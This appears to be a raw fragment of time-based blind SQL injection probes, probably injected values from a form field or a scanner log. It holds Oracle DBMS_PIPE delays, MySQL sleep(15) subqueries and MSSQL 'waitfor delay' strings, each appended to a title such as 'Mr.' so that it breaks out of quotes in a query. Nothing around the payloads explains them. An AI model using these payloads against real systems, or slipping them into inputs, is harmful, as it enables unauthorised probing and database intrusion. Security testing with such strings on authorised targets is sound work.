MR.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'  
  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ Mr.-1 waitfor delay '0:0:15' -- Mr.kxa8lb2X'; waitfor delay '0:0:15' --